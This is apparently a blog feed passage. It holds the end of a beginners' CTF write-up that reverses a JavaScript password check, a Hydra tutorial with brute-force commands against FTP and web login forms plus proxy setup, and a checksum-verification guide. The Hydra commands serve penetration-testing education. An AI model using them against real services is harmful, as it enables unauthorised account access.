     p[<span class="hljs-number">1</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52077</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">9</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52077</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">10</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52080</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">4</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52046</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">3</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52066</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">8</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52085</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">7</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52081</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">2</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52077</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">11</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52066</span>) {
    window.location.replace(v <span class="hljs-operator">+</span> <span class="hljs-string">".html"</span>);
  } <span class="hljs-keyword">else</span> {
    alert(<span class="hljs-string">"Wrong password!"</span>);
</code></pre><p>The encoding part of the code is:</p>
<pre><code>const v <span class="hljs-operator">=</span> document.getElementById(<span class="hljs-string">"password"</span>).<span class="hljs-built_in">value</span>;
const p <span class="hljs-operator">=</span> Array.from(v).map(a <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-number">0xCafe</span> <span class="hljs-operator">+</span> a.charCodeAt(<span class="hljs-number">0</span>))
</code></pre><p>Essentially, all this code is doing is grabbing the password from the text box and then turning all the characters into a charcode, charcode is the number representation of a Unicode character, and then adding 0xCafe to each character. 0xCafe is a hexadecimal number that is equivalent to 51966. 
The output is then turned into an array.</p>
<p>The password checker part is:</p>
<pre><code>  <span class="hljs-keyword">if</span>(p[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52037</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">6</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52081</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">5</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52063</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">1</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52077</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">9</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52077</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">10</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52080</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">4</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52046</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">3</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52066</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">8</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52085</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">7</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52081</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">2</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52077</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
     p[<span class="hljs-number">11</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">52066</span>) {
    window.location.replace(v <span class="hljs-operator">+</span> <span class="hljs-string">".html"</span>);
  } <span class="hljs-keyword">else</span> {
    alert(<span class="hljs-string">"Wrong password!"</span>);
</code></pre><p>What this code is doing is checking the array p, remembering p is your encoded password, and comparing the indexes of p to a number. If your encoded character does not match their number, then it will alert you that there is a  "Wrong password!".</p>
<h4 id="heading-what-do-we-know">What do we know?</h4>
<p>We know that each character of the input password will be changed into a charnumber and then 51966 is added, the 51966 is from 0xCafe. This will then be checked character by character if they match the desired sum.</p>
<h4 id="heading-what-data-do-we-have">What data do we have?</h4>
<p>We have the 12 encoded characters for 12 correct characters.</p>
<h4 id="heading-how-do-we-reverse-engineer-this">How do we reverse engineer this?</h4>
<p>Since we know the desired sum of each character, we can take away 51966 from the encoded character and turn it back into letters using the String.fromCharCode() function.</p>
<h4 id="heading-how-do-we-do-this">How do we do this?</h4>
<p>First off we need to put all the known encoded characters into an array in order. This looks like:</p>
<pre><code><span class="hljs-string">const</span> <span class="hljs-string">encoded_pass</span> <span class="hljs-string">=</span> [<span class="hljs-number">52037</span>, <span class="hljs-number">52077</span>, <span class="hljs-number">52077</span>, <span class="hljs-number">52066</span>, <span class="hljs-number">52046</span>, <span class="hljs-number">52063</span>, <span class="hljs-number">52081</span>, <span class="hljs-number">52081</span>, <span class="hljs-number">52085</span>, <span class="hljs-number">52077</span>, <span class="hljs-number">52080</span>, <span class="hljs-number">52066</span>]
</code></pre><p>Secondly, we need to loop threw the array of encoded letters and minus 51966 from each character. We can turn all of the encoded characters back into plaintext. We then need to add all these characters to a string and connect them together.</p>
<p>Finally, we need to print it out to the console. This is all done in the code below. </p>
<pre><code><span class="hljs-string">const</span> <span class="hljs-string">encoded_pass</span> <span class="hljs-string">=</span> [<span class="hljs-number">52037</span>, <span class="hljs-number">52077</span>, <span class="hljs-number">52077</span>, <span class="hljs-number">52066</span>, <span class="hljs-number">52046</span>, <span class="hljs-number">52063</span>, <span class="hljs-number">52081</span>, <span class="hljs-number">52081</span>, <span class="hljs-number">52085</span>, <span class="hljs-number">52077</span>, <span class="hljs-number">52080</span>, <span class="hljs-number">52066</span>]
<span class="hljs-string">let</span> <span class="hljs-string">pass</span> <span class="hljs-string">=</span> <span class="hljs-string">""</span>
<span class="hljs-string">for(let</span> <span class="hljs-string">character</span> <span class="hljs-string">of</span> <span class="hljs-string">encoded_pass)</span> {
    <span class="hljs-string">pass</span> <span class="hljs-string">+=</span>  <span class="hljs-string">String.fromCharCode(character-51966);</span> <span class="hljs-string">//Remember</span> <span class="hljs-number">0xCafe</span> <span class="hljs-string">=</span> <span class="hljs-number">51966</span>
   }
<span class="hljs-string">console.log(pass)</span>
</code></pre><p><strong>This gives us the password GoodPassword</strong></p>
<p>Now that we have the password we can log in. Once we login, we see some CTV and the flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655460544835/uXCNUyHW6.png" alt="image.png" /></p>
<p>The Flag is: CTF{IJustHopeThisIsNotOnShodan}</p>
<h3 id="heading-challenge-2">Challenge 2</h3>
<p>In this challenge, you are given an image. In this image, there are multiple logic gates connected to each other. You are required to figure out what to set the inputs to get an outcome of 1.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655462468344/ytWm_VNrX.png" alt="logic-lock.png" /></p>
<h4 id="heading-how-do-we-figure-the-flag-out">How do we figure the flag out?</h4>
<p>Firstly, we label all the logic gates and figure out the number of inputs required for them to turn true or false. Then we reverse the flow from the output, slowly figuring out what gates are required to be true. Eventually, you will get to the end and learn which inputs need to be true to get the output of true.  Below is a completed circuit.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655461389522/xO5d6z2Uq.png" alt="logic-lock.png" /></p>
<p>The flag is: CTF{BCFIJ}</p>
<h3 id="heading-wrapup">Wrapup</h3>
<p>If you want to try these challenges for yourself go to https://capturetheflag.withgoogle.com/beginners-quest .</p>
]]></content:encoded></item><item><title><![CDATA[How to brute force online login credentials with Hydra]]></title><description><![CDATA[Hyrda is a beloved tool for penetration testers to brute-force online passwords. Hydra is featured filled, open-source and supports any protocol you could think of. You can see all the protocols supported by Hydra on their GitHub under the INTRODUCTI...]]></description><link>https://colej.net/how-to-brute-force-online-login-credentials-with-hydra</link><guid isPermaLink="true">https://colej.net/how-to-brute-force-online-login-credentials-with-hydra</guid><category><![CDATA[hacking]]></category><category><![CDATA[passwords]]></category><category><![CDATA[Linux]]></category><category><![CDATA[linux for beginners]]></category><category><![CDATA[Tutorial]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Thu, 16 Jun 2022 13:47:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/j7mGBT2hyM8/upload/v1655385627446/lr52xp3PD.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hyrda is a beloved tool for penetration testers to brute-force online passwords. Hydra is featured filled, open-source and supports any protocol you could think of. You can see all the protocols supported by Hydra on their <a target="_blank" href="https://github.com/vanhauser-thc/thc-hydra">GitHub</a> under the INTRODUCTION header.</p>
<p>Hydra has a graphical user interface with the xhyrdra package but I am only covering the command line use of hydra in this article.</p>
<h2 id="heading-bruteforcing-logins">Bruteforcing logins</h2>
<p>This is the general syntax for brute-forcing logins.</p>
<pre><code>hydra <span class="hljs-operator">-</span>l user <span class="hljs-operator">-</span>P passlist.txt ftp:<span class="hljs-comment">//10.10.193.105 -t 4</span>
or
﻿hydra <span class="hljs-operator">-</span>l user <span class="hljs-operator">-</span>P passlist.txt <span class="hljs-number">10.10</span><span class="hljs-number">.193</span><span class="hljs-number">.105</span> <span class="hljs-operator">-</span>t <span class="hljs-number">4</span> ftp <span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> you can change <span class="hljs-built_in">this</span> out
</code></pre><div class="hn-table">
<table>
<thead>
<tr>
<td>Flag</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td>-l</td><td>The username</td></tr>
<tr>
<td>-P</td><td>List of passwords</td></tr>
<tr>
<td>-t</td><td>The number of threads used</td></tr>
<tr>
<td>-V</td><td>Outputs every attempted password</td></tr>
</tbody>
</table>
</div><h2 id="heading-bruteforcing-forms">Bruteforcing forms</h2>
<p>Using hydra on web forms is slightly harder. First off, you need to know whether the form you are submitting is using the GET or POST methods. The easiest way is to press ctrl+u to see the page source or use the network tab in the developer settings. You also need to know what the names of the headers are for the data you are submitting. Generally, they will be "username" and "password" but it is good to double-check. An example of what a form looks like is below:</p>
<pre><code><span class="hljs-keyword">from</span> <span class="hljs-keyword">view</span><span class="hljs-operator">-</span>source:http:<span class="hljs-comment">//form.xyz/login</span>

  <span class="hljs-operator">&lt;</span>body class<span class="hljs-operator">=</span><span class="hljs-string">"text-center"</span><span class="hljs-operator">&gt;</span>
    <span class="hljs-operator">&lt;</span>form class<span class="hljs-operator">=</span><span class="hljs-string">"form-signin"</span> action<span class="hljs-operator">=</span><span class="hljs-string">"/login"</span> method<span class="hljs-operator">=</span><span class="hljs-string">"post"</span><span class="hljs-operator">&gt;</span>
      <span class="hljs-operator">&lt;</span>a href<span class="hljs-operator">=</span><span class="hljs-string">'/'</span><span class="hljs-operator">&gt;</span><span class="hljs-operator">&lt;</span>img class<span class="hljs-operator">=</span><span class="hljs-string">"mb-4"</span> style<span class="hljs-operator">=</span><span class="hljs-string">'width: 200px;'</span> src<span class="hljs-operator">=</span><span class="hljs-string">"/img/herc.gif"</span> alt<span class="hljs-operator">=</span><span class="hljs-string">""</span><span class="hljs-operator">&gt;</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>a<span class="hljs-operator">&gt;</span>
      <span class="hljs-operator">&lt;</span>h1 class<span class="hljs-operator">=</span><span class="hljs-string">"h3 mb-3 font-weight-normal"</span><span class="hljs-operator">&gt;</span>Login<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>h1<span class="hljs-operator">&gt;</span>

      <span class="hljs-operator">&lt;</span>label <span class="hljs-keyword">for</span><span class="hljs-operator">=</span><span class="hljs-string">"inputEmail"</span> class<span class="hljs-operator">=</span><span class="hljs-string">"sr-only"</span><span class="hljs-operator">&gt;</span>Username<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>label<span class="hljs-operator">&gt;</span>
      <span class="hljs-operator">&lt;</span>input <span class="hljs-keyword">type</span><span class="hljs-operator">=</span><span class="hljs-string">"text"</span> name<span class="hljs-operator">=</span><span class="hljs-string">"username"</span> class<span class="hljs-operator">=</span><span class="hljs-string">"form-control"</span> placeholder<span class="hljs-operator">=</span><span class="hljs-string">"Username"</span> required autofocus<span class="hljs-operator">&gt;</span>
      <span class="hljs-operator">&lt;</span>label <span class="hljs-keyword">for</span><span class="hljs-operator">=</span><span class="hljs-string">"inputPassword"</span> class<span class="hljs-operator">=</span><span class="hljs-string">"sr-only"</span><span class="hljs-operator">&gt;</span>Password<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>label<span class="hljs-operator">&gt;</span>
      <span class="hljs-operator">&lt;</span>input <span class="hljs-keyword">type</span><span class="hljs-operator">=</span><span class="hljs-string">"password"</span> name<span class="hljs-operator">=</span><span class="hljs-string">"password"</span> class<span class="hljs-operator">=</span><span class="hljs-string">"form-control"</span> placeholder<span class="hljs-operator">=</span><span class="hljs-string">"Password"</span> required<span class="hljs-operator">&gt;</span>
      <span class="hljs-operator">&lt;</span>button class<span class="hljs-operator">=</span><span class="hljs-string">"btn btn-lg btn-primary btn-block"</span> <span class="hljs-keyword">type</span><span class="hljs-operator">=</span><span class="hljs-string">"submit"</span><span class="hljs-operator">&gt;</span>Login<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>button<span class="hljs-operator">&gt;</span>
      <span class="hljs-operator">&lt;</span>p class<span class="hljs-operator">=</span><span class="hljs-string">"mt-5 mb-3 text-muted"</span><span class="hljs-operator">&gt;</span><span class="hljs-operator">&amp;</span>copy; HydraSite <span class="hljs-number">2012</span> <span class="hljs-operator">-</span> <span class="hljs-number">2020</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>p<span class="hljs-operator">&gt;</span>
    <span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>form<span class="hljs-operator">&gt;</span>
  <span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>body<span class="hljs-operator">&gt;</span>
</code></pre><p>You can see that this form is using the post method and is using the headers username &amp; password. In addition, we need to know the subpage on the form where the login page is. In this case, it is "\login". We then can use the structure below.</p>
<pre><code>hydra <span class="hljs-operator">-</span>l <span class="hljs-operator">&lt;</span>username<span class="hljs-operator">&gt;</span> <span class="hljs-operator">-</span>P <span class="hljs-operator">&lt;</span>wordlist<span class="hljs-operator">&gt;</span> IP http<span class="hljs-operator">-</span>post<span class="hljs-operator">-</span>form <span class="hljs-string">"/login:username=^USER^&amp;password=^PASS^:F=incorrect"</span>
</code></pre><div class="hn-table">
<table>
<thead>
<tr>
<td>FLAG</td><td>DESCRIPTION</td></tr>
</thead>
<tbody>
<tr>
<td>-l</td><td>Single username</td></tr>
<tr>
<td>-P</td><td>Indicates the use of apassword list</td></tr>
<tr>
<td>http-post-form</td><td>indicates the type of form</td></tr>
<tr>
<td>/login url</td><td>the login page URL</td></tr>
<tr>
<td>:username</td><td>the Form field where the username is entered</td></tr>
<tr>
<td>^USER^</td><td>tells Hydra to use the username</td></tr>
<tr>
<td>password</td><td>the Form field where the password is entered</td></tr>
<tr>
<td>^PASS^</td><td>tells Hydra to use the password list supplied earlier</td></tr>
<tr>
<td>Login</td><td>indicates to Hydra the Login Failed message</td></tr>
<tr>
<td>F=incorrect</td><td>If this word appears on the page, its incorrect and continue brute-forcing</td></tr>
</tbody>
</table>
</div><h2 id="heading-using-proxies">Using Proxies</h2>
<p>The easiest way to use proxies is to set the HYDRA_PROXY variable. You can do this by:</p>
<pre><code><span class="hljs-keyword">export</span> HYDRA_PROXY=socks4:<span class="hljs-comment">//8.42.71.5:39593</span>
</code></pre><p>The other way to use is proxychains. I have done an article about this <a target="_blank" href="https://colej.net/anonymize-traffic-with-proxychains-and-tor-on-linux">here</a> if you want to learn more about it. Sadly, TOR will not work.</p>
<h2 id="heading-extra">Extra</h2>
<p>If you want to resume your hydra session use <code>hydra -R</code></p>
<p>If you want more information about a specific module use the flag <code>-U</code>.  </p>
<pre><code>┌──(root㉿desktop)-[~]
└─$ hydra https-get-form -U
Hydra v9.3 (c) 2022 by van Hauser/THC &amp; David Maciejak - Please <span class="hljs-keyword">do</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">use</span> <span class="hljs-keyword">in</span> military <span class="hljs-keyword">or</span> secret service organizations, <span class="hljs-keyword">or</span> <span class="hljs-keyword">for</span> illegal purposes (this <span class="hljs-keyword">is</span> non-binding, these *** <span class="hljs-keyword">ignore</span> laws <span class="hljs-keyword">and</span> ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) <span class="hljs-keyword">starting</span> <span class="hljs-keyword">at</span> <span class="hljs-number">2022</span><span class="hljs-number">-06</span><span class="hljs-number">-16</span> <span class="hljs-number">21</span>:<span class="hljs-number">08</span>:<span class="hljs-number">17</span>

<span class="hljs-keyword">Help</span> <span class="hljs-keyword">for</span> <span class="hljs-keyword">module</span> https-<span class="hljs-keyword">get</span>-<span class="hljs-keyword">form</span>:
============================================================================
<span class="hljs-keyword">Module</span> <span class="hljs-keyword">http</span>-<span class="hljs-keyword">get</span>-<span class="hljs-keyword">form</span> requires the page <span class="hljs-keyword">and</span> the <span class="hljs-keyword">parameters</span> <span class="hljs-keyword">for</span> the web form.

<span class="hljs-keyword">By</span> <span class="hljs-keyword">default</span> this <span class="hljs-keyword">module</span> <span class="hljs-keyword">is</span> configured <span class="hljs-keyword">to</span> follow a maximum <span class="hljs-keyword">of</span> <span class="hljs-number">5</span> redirections <span class="hljs-keyword">in</span>
a row. It <span class="hljs-keyword">always</span> gathers a <span class="hljs-keyword">new</span> cookie <span class="hljs-keyword">from</span> the same <span class="hljs-keyword">URL</span> <span class="hljs-keyword">without</span> <span class="hljs-keyword">variables</span>
The <span class="hljs-keyword">parameters</span> take three <span class="hljs-string">":"</span> separated <span class="hljs-keyword">values</span>, plus optional values.
(Note: <span class="hljs-keyword">if</span> you need a colon <span class="hljs-keyword">in</span> the <span class="hljs-keyword">option</span> <span class="hljs-keyword">string</span> <span class="hljs-keyword">as</span> <span class="hljs-keyword">value</span>, escape it <span class="hljs-keyword">with</span> <span class="hljs-string">"\:"</span>, but <span class="hljs-keyword">do</span> <span class="hljs-keyword">not</span> escape a <span class="hljs-string">"\"</span> <span class="hljs-keyword">with</span> <span class="hljs-string">"\\"</span>.)

Syntax:   &lt;<span class="hljs-keyword">url</span>&gt;:&lt;<span class="hljs-keyword">form</span> <span class="hljs-keyword">parameters</span>&gt;:&lt;condition <span class="hljs-keyword">string</span>&gt;[:&lt;optional&gt;[:&lt;optional&gt;]
<span class="hljs-keyword">First</span> <span class="hljs-keyword">is</span> the page <span class="hljs-keyword">on</span> the <span class="hljs-keyword">server</span> <span class="hljs-keyword">to</span> <span class="hljs-keyword">GET</span> <span class="hljs-keyword">or</span> POST <span class="hljs-keyword">to</span> (<span class="hljs-keyword">URL</span>).
<span class="hljs-keyword">Second</span> <span class="hljs-keyword">is</span> the POST/<span class="hljs-keyword">GET</span> <span class="hljs-keyword">variables</span> (taken <span class="hljs-keyword">from</span> either the browser, proxy, etc.
 <span class="hljs-keyword">with</span> <span class="hljs-keyword">url</span>-encoded (resp. base64-encoded) usernames <span class="hljs-keyword">and</span> passwords being replaced <span class="hljs-keyword">in</span> the
 <span class="hljs-string">"^USER^"</span> (resp. <span class="hljs-string">"^USER64^"</span>) <span class="hljs-keyword">and</span> <span class="hljs-string">"^PASS^"</span> (resp. <span class="hljs-string">"^PASS64^"</span>) placeholders (<span class="hljs-keyword">FORM</span> <span class="hljs-keyword">PARAMETERS</span>)
Third <span class="hljs-keyword">is</span> the <span class="hljs-keyword">string</span> that it checks <span class="hljs-keyword">for</span> an *invalid* login (<span class="hljs-keyword">by</span> <span class="hljs-keyword">default</span>)
 Invalid condition login <span class="hljs-keyword">check</span> can be preceded <span class="hljs-keyword">by</span> <span class="hljs-string">"F="</span>, successful condition
 login <span class="hljs-keyword">check</span> must be preceded <span class="hljs-keyword">by</span> <span class="hljs-string">"S="</span>.
 This <span class="hljs-keyword">is</span> <span class="hljs-keyword">where</span> most people <span class="hljs-keyword">get</span> it wrong. You have <span class="hljs-keyword">to</span> <span class="hljs-keyword">check</span> the webapp what a
 <span class="hljs-keyword">failed</span> <span class="hljs-keyword">string</span> looks <span class="hljs-keyword">like</span> <span class="hljs-keyword">and</span> put it <span class="hljs-keyword">in</span> this parameter!
The <span class="hljs-keyword">following</span> <span class="hljs-keyword">parameters</span> <span class="hljs-keyword">are</span> optional:
 (c|C)=/page/uri     <span class="hljs-keyword">to</span> <span class="hljs-keyword">define</span> a different page <span class="hljs-keyword">to</span> gather <span class="hljs-keyword">initial</span> cookies <span class="hljs-keyword">from</span>
 (g|G)=              <span class="hljs-keyword">skip</span> pre-requests - <span class="hljs-keyword">only</span> <span class="hljs-keyword">use</span> this <span class="hljs-keyword">when</span> <span class="hljs-keyword">no</span> pre-cookies <span class="hljs-keyword">are</span> <span class="hljs-keyword">required</span>
 (h|H)=My-Hdr\: foo   <span class="hljs-keyword">to</span> send a <span class="hljs-keyword">user</span> defined <span class="hljs-keyword">HTTP</span> header <span class="hljs-keyword">with</span> <span class="hljs-keyword">each</span> request
                 ^<span class="hljs-keyword">USER</span>[<span class="hljs-number">64</span>]^ <span class="hljs-keyword">and</span> ^PASS[<span class="hljs-number">64</span>]^ can also be put <span class="hljs-keyword">into</span> these headers!
                 Note: <span class="hljs-string">'h'</span> will <span class="hljs-keyword">add</span> the <span class="hljs-keyword">user</span>-defined header <span class="hljs-keyword">at</span> the <span class="hljs-keyword">end</span>
                 regardless it<span class="hljs-string">'s already being sent by Hydra or not.
                 '</span>H<span class="hljs-string">' will replace the value of that header if it exists, by the
                 one supplied by the user, or add the header at the end
Note that if you are going to put colons (:) in your headers you should escape them with a backslash (\).
 All colons that are not option separators should be escaped (see the examples above and below).
 You can specify a header without escaping the colons, but that way you will not be able to put colons
 in the header value itself, as they will be interpreted by hydra as option separators.

Examples:
 "/login.php:user=^USER^&amp;pass=^PASS^:incorrect"
 "/login.php:user=^USER64^&amp;pass=^PASS64^&amp;colon=colon\:escape:S=authlog=.*success"
 "/login.php:user=^USER^&amp;pass=^PASS^&amp;mid=123:authlog=.*failed"
 "/:user=^USER&amp;pass=^PASS^:failed:H=Authorization\: Basic dT1w:H=Cookie\: sessid=aaaa:h=X-User\: ^USER^:H=User-Agent\: wget"
 "/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F&lt;target&gt;%2Fexchange&amp;flags=0&amp;username=&lt;domain&gt;%5C^USER^&amp;password=^PASS^&amp;SubmitCreds=x&amp;trusted=0:reason=:C=/exchweb"</span>
</code></pre><h2 id="heading-refrences">Refrences:</h2>
<p>https://tryhackme.com/room/hydra</p>
<p>https://www.hackingarticles.in/a-detailed-guide-on-hydra/</p>
<p>https://tools.kali.org/password-attacks/hydra</p>
]]></content:encoded></item><item><title><![CDATA[How to implement and verify checksums on Linux]]></title><description><![CDATA[What are checksums and why do you need them?
Checksums are critically important if you want to make sure the data you have downloaded hasn't been corrupted or tampered with. Checksums are created by hash algorithms like SHA256 or MD5 directly from a ...]]></description><link>https://colej.net/how-to-implement-and-verify-checksums-on-linux</link><guid isPermaLink="true">https://colej.net/how-to-implement-and-verify-checksums-on-linux</guid><category><![CDATA[Security]]></category><category><![CDATA[Tutorial]]></category><category><![CDATA[Linux]]></category><category><![CDATA[linux for beginners]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Wed, 15 Jun 2022 13:55:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/hvSr_CVecVI/upload/v1655300264894/XZ6TvY4-D.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-are-checksums-and-why-do-you-need-them">What are checksums and why do you need them?</h2>
<p>Checksums are critically important if you want to make sure the data you have downloaded hasn't been corrupted or tampered with. Checksums are created by hash algorithms like SHA256 or MD5 directly from a file you want to verify. All you need to know about hashes is that given the exact same file, they will reproduce the exact same string of characters. If you change one character in the file the hash will be completely different. This is shown in the example below.</p>
<pre><code>[<span class="hljs-symbol">root@</span>desktop]# echo <span class="hljs-string">"I love checksums."</span> | md5sum
<span class="hljs-number">26</span>d1fe18b4d5414232e6707acdfc5d3b  -
[<span class="hljs-symbol">root@</span>desktop]# echo <span class="hljs-string">"I love checksums"</span> | md5sum
<span class="hljs-number">062753536863028865f</span>43f4fe6e13719  -
</code></pre><p>Checksums even work on look-alikes. In the example below, I have changed the "o" in "loves" to the look-alike "о".</p>
<pre><code>[<span class="hljs-keyword">user</span>@desktop# echo "Everyone loves checksums" | md5sum
<span class="hljs-number">9</span>b3a59a06b590390167ae1dcecdb9381  -
[<span class="hljs-keyword">user</span>@desktop]# echo "Everyone lоves checksums" | md5sum
<span class="hljs-number">0600</span>be673d633072ab7fb6c223eb27d3  -
</code></pre><h2 id="heading-what-are-the-common-utilities-and-hash-algorithms-used">What are the common utilities and hash algorithms used?</h2>
<p>The most common hashing algorithms used in checksums are MD5 and SHA256. You will know the difference between the hashes by the number of characters. MD5 hashes are 32 characters long. A SHA256 hash will produce a 64-character long hash. If available, use the SHA256 hash as it is a more secure algorithm than MD5. </p>
<p>Generally, most systems on Linux will have "sha256sum" and "md5sum" installed by default. Another great utility is <a target="_blank" href="https://gtkhash.org/">gtkhash</a>, although you do have to install it on your Linux machine yourself. <a target="_blank" href="https://ladedu.com/how-to-verify-a-md5-or-sha-checksum-on-windows-10/">Here</a> is a good tutorial about checksums on windows.</p>
<h2 id="heading-checking-checksums">Checking Checksums</h2>
<p>When downloading a file, generally they will have a checksum page near the download area. This is shown on the VirtualBox website below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655298672262/ehsp6ccIm.png" alt="Screenshot from 2022-06-16 05-02-52.png" /></p>
<p>You would then grab the line for the specific file you have. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655298981634/JOVe5Xyre.png" alt="image.png" /></p>
<p>You then put this text into a file in the same directory as your download. In this case, my file name was  <code>sum.sha256</code>.
After that, you now need to run <code>sha256sum -c sum.sha256</code>. The  <code>-c</code> flag reads from the hash file and checks the download.</p>
<pre><code>[user@desktop]$ nano sum.sha256
[user@desktop]$ sha256sum <span class="hljs-operator">-</span>c sum.sha256 
virtualbox<span class="hljs-number">-6.1_6</span><span class="hljs-number">.1</span><span class="hljs-number">.34</span><span class="hljs-number">-150636.1</span><span class="hljs-operator">~</span>Ubuntu<span class="hljs-operator">~</span>jammy_amd64.deb: OK
</code></pre><p>It outputs that the file has not been corrupted or tampered with.</p>
<p>No matter whether you have an MD5 or SHA512, the commands will be very similar. All you need to switch out is the <code>sha256sum</code> command with <code>md5sum</code> or <code>sha512sum</code> command.</p>
<h2 id="heading-generating-checksums">Generating Checksums</h2>
<p>Generating checksums is even easier. All you have to do is run this command below:</p>
<pre><code>[user@desktop]$ md5sum file.txt <span class="hljs-operator">&gt;</span> sum.md5
</code></pre><p>When we look in the file, it has the same syntax as before.</p>
<pre><code>[user@desktop]$ cat sum.md5 
<span class="hljs-number">129</span>f303eeb2cea1f29a7bce8b04b18d5  file.txt
</code></pre><h2 id="heading-closing-notes">Closing Notes</h2>
<p>Checksums are invaluable for your security. They are a quick and easy way to keep you safe. Whenever you have a chance to use checksums, use them!</p>
